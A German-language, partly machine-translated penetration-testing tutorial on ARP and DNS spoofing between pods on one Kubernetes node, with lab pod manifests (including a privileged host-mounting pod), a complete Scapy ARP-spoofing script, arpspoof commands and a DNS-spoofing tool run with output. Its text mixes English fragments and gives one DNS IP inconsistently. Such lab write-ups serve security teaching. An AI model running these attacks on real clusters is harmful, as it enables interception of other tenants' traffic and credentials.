Kubernetes Network Attacks

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Einführung

In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen allen Containern, die sich auf demselben Knoten befinden, erlaubt. Dies gilt unabhängig von den Namensraumunterschieden. Diese Konnektivität erstreckt sich bis zu Layer 2 (Ethernet). Folglich könnte diese Konfiguration das System potenziell Schwachstellen aussetzen. Insbesondere eröffnet sie die Möglichkeit, dass ein bösartiger Container einen ARP-Spoofing-Angriff gegen andere Container, die sich auf demselben Knoten befinden, ausführt. Während eines solchen Angriffs kann der bösartige Container betrügerisch den Netzwerkverkehr abfangen oder ändern, der für andere Container bestimmt ist.

ARP-Spoofing-Angriffe beinhalten, dass der Angreifer gefälschte ARP (Address Resolution Protocol)-Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird. Nach erfolgreicher Ausführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, ändern oder sogar stoppen. Der Angriff wird auf Layer 2 des OSI-Modells ausgeführt, weshalb die standardmäßige Konnektivität in Kubernetes auf dieser Ebene Sicherheitsbedenken aufwirft.

In dem Szenario werden 4 Maschinen erstellt:

• ubuntu-pe: Privilegierte Maschine, um zum Knoten zu entkommen und Metriken zu überprüfen (nicht für den Angriff erforderlich)

• ubuntu-attack: Bösartiger Container im Standard-Namensraum

• ubuntu-victim: Opfer-Maschine im kube-system-Namensraum

• mysql: Opfer-Maschine im Standard-Namensraum

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Grundlegende Kubernetes-Netzwerk

Wenn Sie mehr Details zu den hier eingeführten Netzwerkthemen wünschen, gehen Sie zu den Referenzen.

ARP

Allgemein gesagt, ist Pod-zu-Pod-Netzwerk innerhalb des Knotens über eine Brücke verfügbar, die alle Pods verbindet. Diese Brücke wird „cbr0“ genannt. (Einige Netzwerk-Plugins installieren ihre eigene Brücke.) Die cbr0 kann auch ARP (Address Resolution Protocol) Auflösung durchführen. Wenn ein eingehendes Paket bei cbr0 ankommt, kann es die Ziel-MAC-Adresse mithilfe von ARP auflösen.

Diese Tatsache impliziert, dass standardmäßig jeder Pod, der im selben Knoten läuft, in der Lage sein wird, mit jedem anderen Pod im selben Knoten (unabhängig vom Namespace) auf Ethernet-Ebene (Schicht 2) zu kommunizieren.

Daher ist es möglich, ARP Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.

DNS

In Kubernetes-Umgebungen finden Sie normalerweise 1 (oder mehr) DNS-Dienste, die normalerweise im kube-system-Namespace ausgeführt werden:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

In den vorherigen Informationen können Sie etwas Interessantes sehen, die IP des Dienstes ist 10.96.0.10, aber die IP des Pods, der den Dienst ausführt, ist 172.17.0.2.

Wenn Sie die DNS-Adresse innerhalb eines Pods überprüfen, werden Sie etwas wie folgt finden:

cat /etc/resolv.conf
nameserver 10.96.0.10

However, the pod weiß nicht, wie es zu dieser Adresse gelangt, da der Pod-Bereich in diesem Fall 172.17.0.10/26 ist.

Therefore, the pod will send the DNS-Anfragen an die Adresse 10.96.0.10, die von cbr0 in 172.17.0.2 übersetzt wird.

This means that a DNS-Anfrage eines Pods wird immer über die Brücke gehen, um die Service-IP in die Endpunkt-IP zu übersetzen, selbst wenn der DNS-Server im selben Subnetz wie der Pod ist.

Knowing this, and knowing ARP-Angriffe sind möglich, wird ein Pod in einem Knoten in der Lage sein, den Verkehr zwischen jedem Pod im Subnetz und der Brücke zu abfangen und die DNS-Antworten vom DNS-Server (DNS Spoofing) zu modifizieren.

Moreover, if the DNS-Server im gleichen Knoten wie der Angreifer ist, kann der Angreifer alle DNS-Anfragen eines Pods im Cluster (zwischen dem DNS-Server und der Brücke) abfangen und die Antworten modifizieren.

ARP Spoofing in Pods im selben Knoten

Unser Ziel ist es, mindestens die Kommunikation vom ubuntu-victim zur mysql zu stehlen.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

arp_spoof.py

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Wie bereits erwähnt, wenn Sie ein Pod im selben Knoten des DNS-Server-Pods kompromittieren, können Sie MitM mit ARPSpoofing die Bridge und das DNS-Pod überlisten und alle DNS-Antworten ändern.

Sie haben ein wirklich schönes Tool und Tutorial, um dies zu testen unter https://github.com/danielsagi/kube-dnsspoof/

In unserem Szenario, laden Sie das Tool im Angreifer-Pod herunter und erstellen Sie eine **Datei mit dem Namen hosts ** mit den Domains, die Sie spoofen möchten, wie:

cat hosts
google.com. 1.1.1.1

Führen Sie den Angriff auf die ubuntu-victim-Maschine durch:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Wenn Sie versuchen, Ihr eigenes DNS-Spoofing-Skript zu erstellen, wird es nicht funktionieren, wenn Sie nur die DNS-Antwort ändern, da die Antwort eine src IP die IP-Adresse des bösartigen Pods haben wird und nicht akzeptiert wird. Sie müssen ein neues DNS-Paket mit der src IP des DNS generieren, an den der Opfer die DNS-Anfrage sendet (was etwa 172.16.0.2 entspricht, nicht 10.96.0.10, das ist die K8s-DNS-Service-IP und nicht die IP des DNS-Servers, mehr dazu in der Einleitung).

Verkehr erfassen

Das Tool Mizu ist ein einfaches, aber leistungsstarkes API Verkehrsviewer für Kubernetes, das es Ihnen ermöglicht, alle API-Kommunikationen zwischen Mikrodiensten zu sehen, um Ihnen beim Debuggen und Beheben von Regressionen zu helfen. Es wird Agenten in den ausgewählten Pods installieren und deren Verkehrsinfos sammeln und Ihnen in einem Webserver anzeigen. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr heimlich).

Referenzen

• https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1

• https://blog.aquasec.com/dns-spoofing-kubernetes-clusters

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